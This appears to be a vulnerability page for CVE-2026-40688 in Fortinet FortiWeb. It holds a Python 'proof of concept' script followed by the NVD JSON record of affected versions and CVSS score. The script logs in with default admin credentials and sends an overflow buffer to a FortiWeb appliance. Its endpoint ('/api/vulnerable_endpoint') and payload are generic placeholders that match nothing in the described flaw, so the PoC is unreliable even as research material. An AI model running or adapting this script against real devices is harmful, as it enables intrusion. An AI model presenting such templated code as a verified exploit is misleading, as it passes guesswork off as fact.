CVE-2026-40688

import requests # Proof of Concept for CVE-2026-40688 # Target: Fortinet FortiWeb # Description: Sends a crafted payload to trigger Out-of-Bounds Write target_url = "https://<target-ip>/api/vulnerable_endpoint" # Authentication is typically required (PR:H) session = requests.Session() login_data = {"username": "admin", "password": "password"} session.post("https://<target-ip>/login", data=login_data, verify=False) # Craft payload to trigger buffer overflow/Out-of-Bounds write # Adjust buffer size and pattern based on specific version analysis payload = b"A" * 5000 + b"\xeb\xfe" # Example pattern headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-40688-Test" } try: response = session.post(target_url, data=payload, headers=headers, verify=False, timeout=10) print(f"Response Status: {response.status_code}") if response.status_code == 500 or response.status_code == 200: print("Vulnerability potentially triggered.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-40688", "sourceIdentifier": "[email protected]", "published": "2026-04-14T23:16:29.633", "lastModified": "2026-04-20T18:07:49.050", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An out-of-bounds write vulnerability [CWE-787] vulnerability in Fortinet FortiWeb 8.0.0 through 8.0.3, FortiWeb 7.6.0 through 7.6.6, FortiWeb 7.4.0 through 7.4.11 may allow a remote privileged attacker to execute arbitrary code or command via crafted HTTP requests."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.12", "matchCriteriaId": "00447564-4A90-4194-85FF-A8C047796A5F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.7", "matchCriteriaId": "15C9CDE3-FE6F-4946-A3DC-FDD7A5F99D65"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.4", "matchCriteriaId": "9C922491-BA4C-48DF-8697-8FE742FDA39B"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-127", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}